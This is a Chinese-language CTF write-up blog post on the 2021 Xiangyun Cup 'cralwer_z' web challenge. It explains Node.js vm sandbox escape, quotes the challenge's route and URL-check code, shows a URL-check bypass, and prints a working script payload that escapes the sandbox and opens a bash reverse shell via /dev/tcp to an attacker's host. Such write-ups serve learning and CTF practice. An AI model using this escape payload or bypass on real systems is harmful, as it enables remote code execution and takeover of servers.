suyumen
目前主要在学习web相关

2021祥云杯cralwer_z

2021-11-10 js vm 沙箱逃逸
Word count: 1.1k | Reading time: 5min

最近的比赛都很有意思,大家的博客也很有意思;但是我没有意思,因为比赛题我都不会做。今天有拟态的决赛,但是为什么我在写博客,就是因为看了题,第一步就被那个我不认识也不认识我的编码难住了,而且我也不想抢了同队大佬们的vpn,阻挡了他们30万奖金的道路。

于此同时,我也学习到了一个小小的知识点:虽然我没有抢大佬们的vpn,但vpn确实是可以抢占的。以及昨天因为初次接触拟态防御这个概念,特意写了一篇(不是很明白的)调研报告,以多了解这个技术(以当作我的web开发课作业)。

所以看看以前的比赛题。

这个祥云杯比赛的题对我而言都好新呐(指都不会做)。

言归正传,在看各种wp的过程中,我发现这个解题链应当是“危险函数–>代码审计”,就是先找危险函数,找不到再整体审计。然而对于不知道有什么危险函数的我来说,任何题的流程都是“代码审计”。很明显,让我代码审计,就像是让我舍友宝琪姐姐不说话了一样————“开玩笑”。


zombie

如果是我的话,只会发现“cralwer_z”和爬虫相关。但是为什么别人能做出来的,就是因为他们知道:

zombievm库并且在解析scripturl的时候调用runInContext,将script内容作为第一个参数code


VM

vm不安全,就像vm2也不安全。

这是因为创建vm环境时,首先初始化一个对象sandbox,这个对象就是vm中脚本执行时的全局环境context,全局this指向的就是这个对象。

vm中的this

1
2
3
4
5
6
7
const vm = require('vm')

global.secret = 'sss'
context = {'x': 1}
vm.createContext(context)

console.log(vm.runInContext("this", context)) // { x: 1 }
1
console.log(context.constructor.constructor('return this')()) // global 

context.constructor.constructor获取到的是Function(),用Function()动态创建一个匿名函数,获取this的值,this指向的就是global对象。


注册admin登录后有个profile路由。看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
router.post('/profile', async (req, res, next) => {
let { affiliation, age, bucket } = req.body;
const user = await User.findByPk(req.session.userId);
if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
return res.render('user', { user, error: "Parameters error or blank." });
}
if (!utils.checkBucket(bucket)) {
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;
try {
await User.update({
affiliation,
age,
personalBucket: bucket
}, {
where: { userId: req.session.userId }
});
const token = crypto.randomBytes(32).toString('hex');
authToken = token;
await Token.create({ userId: req.session.userId, token, valid: true });
await Token.update({
valid: false,
}, {
where: {
userId: req.session.userId,
token: { [Op.not]: authToken }
}
});
} catch (err) {
next(createError(500));
}
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
res.redirect(`/user/verify?token=${authToken}`)
} else {
// Well, admin won't do that actually XD.
return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
}
});

我不明白为什么我看了半天的东西,我只能寥寥几句话来解释`。

比如:

1
2
3
4
if (!utils.checkBucket(bucket)) {
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;

这里检查过bucket合法后,就设置了authtoken

1
2
3
4
5
6
try {
await User.update({
affiliation,
age,
personalBucket: bucket
}, {

这里又更新了user信息,尤其是更新了bucket

1
2
3
4
5
6
7
8
9
10
static checkBucket(url) {
try {
url = new URL(url);
} catch (err) {
return false;
}
if (url.protocol != "http:" && url.protocol != "https:") return false;
if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false;
return true;
}

这里绕过可以类似这样:

http://IP/index.html?aaa=oss-cn-beijing.ichunqiu.com

就可以覆盖掉bucket,换成心机代码段:

1
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/[ip]/port 0>&1'],);console.log(ls.output.toString());")()</script>

发送三次请求,第一次获取token值,第二次请求/user/profileBucket赋值为vpsip。再请求/user/verify?token=[token],然后通过/user/bucket反弹shell

参考

1.战队wp

2.https://blog.csdn.net/qq_41636200/article/details/119958733?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link

3.https://blog.csdn.net/cjdgg/article/details/120147572

4.https://cbatl.gitee.io/2021/08/24/xinagyubbei/

5.https://www.cnblogs.com/ophxc/p/13663121.html

6.https://www.redhatzone.com/ask/article/1439.html

Author: suyumen

Link: https://suyumen.github.io/2021/11/10/2021-11-01-[2021%E7%A5%A5%E4%BA%91%E6%9D%AF]cralwer_z/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
javascript原型链污染
NextPost >
2021祥云杯secrets_of_admin
CATALOG
  1. 1. zombie
  2. 2. VM
    1. 2.1. 参考